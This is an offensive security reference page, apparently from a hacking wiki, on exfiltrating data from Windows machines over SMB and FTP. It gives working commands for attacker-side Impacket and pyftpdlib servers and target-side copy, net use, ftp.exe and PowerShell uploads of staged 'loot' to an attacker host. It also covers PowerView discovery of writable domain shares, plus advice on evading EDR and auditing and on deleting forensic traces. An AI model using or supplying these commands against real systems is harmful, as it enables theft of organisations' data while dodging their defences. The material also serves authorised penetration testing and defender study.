# Windows Exfiltration over SMB and FTP

> Covers techniques for exfiltrating data from Windows systems via SMB shares and FTP transfers, including tools, commands, and detection evasion methods.

- **URL:** https://hackindex.io/platforms/windows/data-exfiltration/windows-exfiltration-over-smb-and-ftp
- **Path:** Windows > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/platforms/windows/data-exfiltration.md)
- **Published:** 2026-04-04
- **Updated:** 2026-05-15

SMB and FTP are native Windows protocols with built-in client support on every Windows version. Both avoid dropping extra tooling on the target:

- SMB (port 445) is the faster option with direct file copy and no encoding overhead
- FTP (port 21) works as a fallback when SMB is blocked but legacy transfer is permitted outbound
- Both support authentication, making them usable in environments that block anonymous connections

Neither protocol requires base64 encoding or additional binaries on the target.

Before transferring, compress and archive the target data into a single file. A zip or 7z archive reduces transfer size and limits the number of individual file events in endpoint logs. Use a temp path that blends in, such as `C:\Windows\Temp` or `C:\ProgramData`, rather than staging files somewhere conspicuous like the desktop.

## SMB exfiltration

Set up the Impacket SMB server on your attack box. It listens on port 445 and accepts incoming connections from the target. The server runs on Linux. Once the server is up, use native Windows copy commands from the target to write files to the share. No additional tooling is needed on the target side.

**SMB share on attack box**

```bash
# Impacket SMB server: no authentication
impacket-smbserver exfil . -smb2support

# With authentication (required by some Windows versions)
impacket-smbserver exfil . -smb2support -username $USER -password $PASSWORD
# Impacket v0.11.0 - Copyright 2023 Fortra
# [*] Config file parsed
# [*] Callback added for UUID 4B324FC8-...
# [*] Server started, listening on 0.0.0.0:445
```

**Copy files to SMB share from target**

```powershell
# Direct copy: no mount needed
copy C:\Windows\Temp\loot.zip \\$LHOST\exfil\loot.zip

# With credentials
net use \\$LHOST\exfil /user:$USER $PASSWORD
copy C:\Windows\Temp\loot.zip \\$LHOST\exfil\
net use \\$LHOST\exfil /delete

# PowerShell
$cred = New-Object System.Management.Automation.PSCredential($USER, (ConvertTo-SecureString $PASSWORD -AsPlainText -Force))
New-PSDrive -Name X -PSProvider FileSystem -Root \\$LHOST\exfil -Credential $cred
Copy-Item C:\Windows\Temp\loot.zip X:\
Remove-PSDrive X
```

Windows 10 1709 and later require SMBv2 or higher. The `-smb2support` flag in impacket handles this. If transfers fail with access denied errors, add authentication to the server and use `net use` with credentials on the target. Watch the impacket console: each successful file write logs the filename and source IP. A failed write produces no server-side log entry, so confirm from the target that the copy command exited cleanly.

Windows Defender and common EDR products do not flag SMB copy to an external IP by default. Firewall rules or DLP solutions may still block outbound port 445. If the transfer hangs without an error message, the firewall is likely dropping the connection silently. Fall back to FTP or switch to an HTTP-based transfer method in that case.

## FTP exfiltration

FTP requires the Windows `ftp.exe` client, which ships with all default Windows installations. The script file method works in non-interactive shells where you cannot type commands manually. Write the FTP commands to a temp file, then pass it to `ftp.exe` with the `-s` flag. The `binary` mode flag is critical for non-text files. Without it, FTP performs ASCII translation and corrupts binary data.

**FTP server on attack box**

```bash
# Python FTP server with write access
pipx install pyftpdlib
pyftpdlib -p 21 -w

# With authentication
python3 -c "
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer
auth = DummyAuthorizer()
auth.add_user('$USER', '$PASSWORD', '.', perm='elradfmwMT')
handler = FTPHandler
handler.authorizer = auth
server = FTPServer(('0.0.0.0', 21), handler)
server.serve_forever()
"
```

**FTP upload from Windows target**

```powershell
# FTP script file method: works in non-interactive shells
$ftp = "open $LHOST 21`nuser anonymous anonymous`nbinary`nput C:\Windows\Temp\loot.zip loot.zip`nbye"
$ftp | Out-File C:\Windows\Temp\ftp.txt -Encoding ASCII
ftp -v -n -s:C:\Windows\Temp\ftp.txt

# PowerShell FTP upload
$ftpRequest = [System.Net.FtpWebRequest]::Create("ftp://$LHOST/loot.zip")
$ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
$ftpRequest.Credentials = New-Object System.Net.NetworkCredential('anonymous', 'anonymous')
$fileBytes = [System.IO.File]::ReadAllBytes('C:\Windows\Temp\loot.zip')
$ftpRequest.ContentLength = $fileBytes.Length
$stream = $ftpRequest.GetRequestStream()
$stream.Write($fileBytes, 0, $fileBytes.Length)
$stream.Close()
$ftpRequest.GetResponse()
```

## Exfiltration via existing SMB shares

In internal network engagements, data does not always need to travel back to your attack box directly. Accessible shares on other internal hosts serve as staging points for collection before final extraction. This approach is useful when direct outbound connections from the target are blocked but lateral SMB connections between internal hosts are permitted.

Use PowerView's `Find-DomainShare` with `-CheckShareAccess` to identify writable shares across the domain. The `Writeable` property in the output confirms write access. Check the share path before writing: shares under user home directories or department folders carry lower detection risk than shares on dedicated file servers, which often have auditing enabled and generate alerts on new file writes.

After copying data to an internal share, retrieve it from a host that has outbound connectivity. If that host already has an SMB session to your attack box, you can pull directly from the staged location. Clean up after retrieval to reduce forensic artifacts. Delete the staged file and, if you used `net use`, disconnect the mapped drive before moving on.

**Stage data on internal shares**

```powershell
# Find writable shares across the domain with PowerView
Find-DomainShare -CheckShareAccess | Where-Object {$_.Writeable -eq $true}

# Copy to writable share
copy C:\Windows\Temp\loot.zip \\internal-server\writableshare\loot.zip

# Verify write succeeded
dir \\internal-server\writableshare\
```